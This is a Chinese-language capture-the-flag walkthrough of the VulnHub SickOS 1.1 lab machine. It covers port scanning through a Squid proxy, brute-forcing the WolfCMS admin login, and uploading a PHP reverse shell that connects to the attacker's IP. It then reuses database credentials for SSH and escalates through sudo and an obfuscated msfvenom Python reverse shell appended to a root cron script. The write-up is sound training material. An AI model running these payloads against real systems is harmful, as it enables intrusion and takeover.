SickOS 1.1

https://www.vulnhub.com/entry/sickos-11,132/

主机发现端口扫描

探测存活主机，136是靶机，因为靶机是我最后添加的

nmap -sP 192.168.75.0/24
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:36 CST
Nmap scan report for 192.168.75.1
Host is up (0.00038s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00031s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.136
Host is up (0.00049s latency).
MAC Address: 00:0C:29:62:FB:04 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00027s latency).
MAC Address: 00:50:56:F8:B3:1A (VMware)
Nmap scan report for 192.168.75.131
Host is up.

扫描靶机所有开放端口

nmap -sT -min-rate 10000 -p- 192.168.75.136 
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:41 CST
Nmap scan report for 192.168.75.136
Host is up (0.00075s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:62:FB:04 (VMware)

查看服务版本以及系统版本

nmap -sT -min-rate 10000 -p- 192.168.75.136 
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:41 CST
Nmap scan report for 192.168.75.136
Host is up (0.00075s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:62:FB:04 (VMware)

使用脚本扫描漏洞

nmap -script=vuln -p 22,3128,8080 192.168.75.136 -oA Desktop/test/vuln
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:46 CST
Nmap scan report for 192.168.75.136
Host is up (0.00085s latency).

PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:62:FB:04 (VMware)

web渗透

只有8080是关闭的，打开的只有3128 端口运行着squid代理服务和ssh，访问3128 ，返回

ERROR
The requested URL could not be retrieved
The following error was encountered while trying to retrieve the URL: /
    Invalid URL
Some aspect of the requested URL is incorrect.
Some possible problems are:
    Missing or incorrect access protocol (should be "http://" or similar)
    Missing hostname
    Illegal double-escape in the URL-Path
    Illegal character in hostname; underscores are not allowed.
Your cache administrator is webmaster.
Generated Sun, 22 Sep 2024 06:03:35 GMT by localhost (squid/3.1.19)

可知版本是3.1.19 ，因为他是个代理服务器，所以可能会代理着什么，可能就是80端口

因为我的火狐连接着的是burp的代理地址，假如想要再通过代理访问别的网站并且能抓包的话，就需要设置burp上游代理服务器

大概在：network->connection->upstreamserver 把代理地址192.168.75.136:3128 添加上去即可
访问192.168.75.136 ，页面有回显了，那就表示80在192.168.75.136:3128 下代理着
```
# 内容
BLEHHH!!! 
```
是个网路用词

扫描目录，需要指定代理服务器

python .\dirsearch.py -u http://192.168.75.136 --proxy 192.168.75.136:3128
//
[12:15:18] 403 -  243B  - /cgi-bin/
[12:15:19] 200 -  109B  - /connect
[12:15:20] 403 -  239B  - /doc/
[12:15:20] 403 -  242B  - /doc/api/
[12:15:20] 403 -  247B  - /doc/html/index.html
[12:15:20] 403 -  249B  - /doc/en/changes.html
[12:15:20] 403 -  247B  - /doc/stable.version
[12:15:29] 200 -   58B  - /robots.txt
[12:15:30] 403 -  242B  - /server-status
[12:15:30] 403 -  242B  - /server-status/

发现robots.txt以及connect

connect内容

#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"

robots.txt 内容

User-agent: *
Disallow: /
Dissalow: /wolfcms

给我们提示wolfcms

访问/wolfcms ，是一个内容管理cms，爆破目录

python .\dirsearch.py -u http://192.168.75.136/wolfcms --proxy 192.168.75.136:3128
//
[12:18:17] 200 -  403B  - /wolfcms/composer.json
....
[12:18:17] 200 -    4KB - /wolfcms/CONTRIBUTING.md
[12:18:18] 301 -  253B  - /wolfcms/docs  ->  http://192.168.75.136/wolfcms/docs/
[12:18:18] 200 -  512B  - /wolfcms/docs/
[12:18:18] 200 -    2KB - /wolfcms/docs/updating.txt
[12:18:19] 200 -  894B  - /wolfcms/favicon.ico
[12:18:26] 301 -  257B  - /wolfcms/public  ->  http://192.168.75.136/wolfcms/public/
[12:18:26] 200 -  462B  - /wolfcms/public/
[12:18:26] 200 -    2KB - /wolfcms/README.md
[12:18:27] 200 -   20B  - /wolfcms/robots.txt

发现robots.txt以及readme.md

访问后robots.txt 是空的，readme.md 为配置说明

通过查阅得知后台登陆地址在/wolfcms/?/admin/login

网路搜索默认账号密码尝试，登陆失败

使用burp进行爆破，指定账号为admin ，通过密码字典爆破

爆破成功，账号密码都是 admin

获得初级shell

登陆进去后寻找可利用点，找到 uploadfile

在 file→Uploadfile

上传反弹shell代码文件

//getshell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.75.131/1234 0>&1'");?>

上传后点击文件，回显文件保存在 /public/getshell.php
一步一步尝试发现文件在 http://192.168.75.136/wolfcms/public/getshell.php

kali 开启监听
```
nc -lvp 1234                                                     
listening on [any] 1234 ...
```
访问 http://192.168.75.136/wolfcms/public/getshell.php

反弹shell成功

查看其权限

listening on [any] 1234 ...
192.168.75.136: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.136] 52339
//
www-data@SickOs:/var/www/wolfcms/public$ dpkg -l
...
//
www-data@SickOs:/var/www/wolfcms/public$ sudo -l
sudo: no tty present and no askpass program specified
Sorry, try again.
sudo: no tty present and no askpass program specified
Sorry, try again.
sudo: no tty present and no askpass program specified
Sorry, try again.
sudo: 3 incorrect password attempts
//
www-data@SickOs:/var/www/wolfcms/public$ uname -a
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

权限不高，系统名是SickOs 内核版本是3.11.0-15

提权

因为wolf是cms，肯定会存在与数据库连接的文件，找到config.php 文件

cat /var/www/wolfcms/config.php
//
<?php 

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');
.....

发现数据库用户名为root，密码为john@123

改密码有可能也是系统上某个用户的密码

查看/etc/passwd 寻找可疑用户

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false

发现可疑用户有 root，www-data，bckup，sickos

使用可疑用户进行ssh登录，密码使用john@123 ，数据库链接上的密码

最后sickos 成功登录

查看sickos 用户权限

sickos@SickOs:~$ sudo -l
//
[sudo] password for sickos: 
Matching Defaults entries for sickos on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sickos may run the following commands on this host:
    (ALL : ALL) ALL

等于root权限

读取flag

sickos@SickOs:~$ sudo /bin/bash
root@SickOs:~# 
//
root@SickOs:/home# cd /root
root@SickOs:/root# cat a0216ea4d51874464078c618298b1367.txt 
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying

另外一种提权思路

查看定时任务crontab ，在/etc/cron.d/ 里面存在一个automate

内容是
```
www-data@SickOs:/etc/cron.d$ cat automate
//
* * * * * root /usr/bin/python /var/www/connect.py
```
每分钟使用root执行connect.py
可以往connect.py 添加反弹shell代码

生成py的payload代码

msfvenom -p cmd/unix/reverse_python lhost=192.168.75.131 lport=1235 -f raw
//
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 364 bytes
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkM0KwjAQhF8l5JSARJNSf5AcilQQUcH2XmyMtFib0E3fX0Paeuxehtn9dge2/ljTOQRGvbVDCC0Qgr60nVEaIHjz0z3yVRlwEvOdYHy9ZZuY8YjjcejvSC6ieGyADFdZEDK45Ficrmk+ZIVedjuciyy/p8mFTutMmbbVyhHicwPvQ+iEGGDP3goC7FU3ujWEBmo1S/BZQkyElf+PMPVoGoKXZd0uocL0C7l5Vrk=')[0])))

因为crontab执行的是python文件，所以不用exec再套一遍python，所以到的就有

exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkM0KwjAQhF8l5JSARJNSf5AcilQQUcH2XmyMtFib0E3fX0Paeuxehtn9dge2/ljTOQRGvbVDCC0Qgr60nVEaIHjz0z3yVRlwEvOdYHy9ZZuY8YjjcejvSC6ieGyADFdZEDK45Ficrmk+ZIVedjuciyy/p8mFTutMmbbVyhHicwPvQ+iEGGDP3goC7FU3ujWEBmo1S/BZQkyElf+PMPVoGoKXZd0uocL0C7l5Vrk=')[0])))

把payload重定向到connect.py (connect.py 其实就是渗透阶段发现的/connect 目录里的内容)

echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkM0KwjAQhF8l5JSARJNSf5AcilQQUcH2XmyMtFib0E3fX0Paeuxehtn9dge2/ljTOQRGvbVDCC0Qgr60nVEaIHjz0z3yVRlwEvOdYHy9ZZuY8YjjcejvSC6ieGyADFdZEDK45Ficrmk+ZIVedjuciyy/p8mFTutMmbbVyhHicwPvQ+iEGGDP3goC7FU3ujWEBmo1S/BZQkyElf+PMPVoGoKXZd0uocL0C7l5Vrk=')[0])))" >> /var/www/connect.py

kali开启监听，等待代码执行

获得root权限成功

nc -lvp 1235                                    
listening on [any] 1235 ...
//
192.168.75.136: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.136] 51066

python -c "import pty;pty.spawn('/bin/bash')"
root@SickOs:~#

Vulnhub - SickOS 1 1